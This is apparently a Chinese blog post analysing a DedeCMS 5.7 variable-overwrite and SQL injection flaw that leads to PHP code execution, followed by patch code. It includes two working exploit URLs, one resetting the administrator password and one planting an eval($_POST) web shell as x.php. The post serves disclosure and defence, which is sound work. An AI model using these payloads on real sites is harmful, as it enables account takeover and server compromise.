zoukankan      html  css  js  c++  java
  • dedeCMS /plus/ad_js.php、/plus/mytag_js.php Vul Via Injecting PHP Code By /plus/download.php Into DB && /include/dedesql.class.php

    目录

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    对于这个漏洞,我们可以简单概括如下

    1. "/plus/download.php"文件会引入"/include/common.inc.php"文件
    2. "/include/common.inc.php"中会对用户输入的变量进行"变量本地注册",如果注册的变量未被显式地初始化,则会导致本地变量覆盖
    3. "/include/common.inc.php"会引入"/include/dedesql.class.php"文件
    4. 存在漏洞的"/include/dedesql.class.php""没有"对$arrs1、$arrs2这两个数组进行初始化,导致黑客可以通过外部的输入覆盖这2个变量
    5. 黑客通过向"/plus/download.php"文件中POST入特殊构造的数据包,通过覆盖$arrs1、$arrs2这两个数组,最终污染"数据表前缀变量$cfg_",这个"数据表前缀变量$cfg_"会被带入数据库的SQL查询语句中,导致SQL注入
    6. "/plus/ad_js.php""/plus/mytag_js.php"会从数据库中查询出刚才被注入的PHP Code,将写过写入缓存文件中,并include执行,最终导致代码执行

    Relevant Link:

    http://bbs.safedog.cn/thread-52264-1-1.html
    http://www.2cto.com/Article/201205/129974.html
    http://www.91ri.org/6462.html
    http://phpinfo.me/2013/12/24/111.html


    2. 漏洞触发条件

    1. POC: 修改管员密码:
    http://localhost/dedecms5.7/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
    //登录用户spider密码admin 
    
    2. POC: 向数据库插入后门
    http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
    //需要访问plus/mytag_js.php/aid=1,会在plus目录生成 x.php 密码 m
    
    3. "/include/dedesql.class.php""没有"对$arrs1、$arrs2这两个数组进行初始化
    4. "/plus/ad_js.php""/plus/mytag_js.php"未对从数据库查询出的数据进行有效过滤、检测

    0x1: 手工验证

    http://localhost/dedecms5.7/plus/ad_js.php?aid=21


    3. 漏洞影响范围

    1. DedeCMS v5.7
    2. <= DedeCMS v5.7


    4. 漏洞代码分析
    5. 防御方法

    0x1: /include/dedesql.class.php

    /* */ 
    $arrs1 = array();
    $arrs2 = array();
    
    //特殊操作
    if(isset($GLOBALS['arrs1']))
    {
        $v1 = $v2 = '';
        for($i=0;isset($arrs1[$i]);$i++)
        {
            $v1 .= chr($arrs1[$i]);
        }
        for($i=0;isset($arrs2[$i]);$i++)
        {
            $v2 .= chr($arrs2[$i]);
        }
        $GLOBALS[$v1] .= $v2;
    }
    /* */

    0x2: /plus/ad_js.php

    ...
    function find_ad_payload($adbody, $aid)
    {
        global $db;
        $express = "/<?[^><]+(?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*(</scripts*>){0,1}/iU";
        if (preg_match($express, $adbody)) 
        {  
            $sql = " DELETE from `#@__myad` WHERE aid='$aid' ";
            $rs = $db->ExecuteNoneQuery($sql); 
            if( file_exists(DEDEDATA . '/cache/myad-'.$aid.'.htm') )
            {
                @unlink(DEDEDATA.'/cache/myad-'.$aid.'.htm');
            }
            die("Request Error!");  
        }  
    }
    
    if(isset($arcID)) $aid = $arcID;
    $arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
    if($aid==0) die(' Request Error! ');
    
    $cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
    if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
    {
        $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
        $adbody = '';
        if($row['timeset']==0)
        {
            $adbody = $row['normbody'];
        }
        else
        {
            $ntime = time();
            if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
                $adbody = $row['expbody'];
            } else {
                $adbody = $row['normbody'];
            }
        }
    
        find_ad_payload($adbody, $aid);
        ...

    0x3: /plus/mytag_js.php

    ...
    function find_tag_payload($tagbody, $aid)
    {
        global $db;
        $express = "/<?[^><]+(?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*(</scripts*>){0,1}/iU";
        if (preg_match($express, $tagbody)) 
        {  
            $sql = " DELETE from `#@__mytag` WHERE aid='$aid' ";
            $rs = $db->ExecuteNoneQuery($sql); 
            if( file_exists(DEDEDATA . '/cache/mytag-'.$aid.'.htm') )
            {
                @unlink(DEDEDATA.'/cache/mytag-'.$aid.'.htm');
            }
            die("Request Error!");  
        }  
    }
    
    if(isset($arcID)) $aid = $arcID;
    $arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
    if($aid==0) die(" document.write('Request Error!'); ");
    
    $cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';
    //die(var_dump($cacheFile));
    if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
    { 
        $pv = new PartView();
        $row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' ");
        if(!is_array($row))
        {
            $myvalues = "<!--
    document.write('Not found input!');
    -->";
        }
        else
        {
            $tagbody = '';
            if($row['timeset']==0)
            {
                $tagbody = $row['normbody'];
            }
            else
            {
                $ntime = time();
                if($ntime>$row['endtime'] || $ntime < $row['starttime']) {
                    $tagbody = $row['expbody'];
                }
                else {
                    $tagbody = $row['normbody'];
                }
            }
    
            find_tag_payload($tagbody, $aid);
    
            $pv->SetTemplet($tagbody, 'string');
        ...

    需要特别注意的是,对于dedecms数据库后门的这个攻击向量场景来说,防御代码需要考虑以下几个方面

    1. PHP的起止标签具有很强的灵活性
        1) <?php ... ?>
        2) <? ... ?>
        3) <script language="php">...</script>
        4) <?=expression ... ?>
        5) <% ... %>
        6) <%=$variable %>
    2. PHP允许半开的标签,即当PHP代码和HTML代码混编的时候,处于文件最末尾的PHP代码不需要闭合标签即可正确执行

    0x4: 脏数据的清理

    $cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';
    /* clear diety data */
    if(file_exists($cacheFile))
    {
        $tmpcheck = file_get_contents($cacheFile);
        find_tag_payload($tmpcheck, $aid);
    } 
    /* */
    if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
    { 

    ad_js.php的思路类似


    6. 攻防思考

    暂无

    Copyright (c) 2014 LittleHann All rights reserved

  • 相关阅读:
    Android ViewPager用法小结
    HDU1212 Big Number 【同余定理】
    1051. Pop Sequence (25)
    FFmpeg源码结构图
    oracle访问不同用户的表不添加用户名前缀
    window7开启Administrator账户
    Window下对nodejs多版本管理GNVM
    基于Centos7.5搭建Docker环境
    grep与孪生兄弟egrep差异
    Linux编译步骤概述
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4236517.html
Copyright © 2011-2022 走看看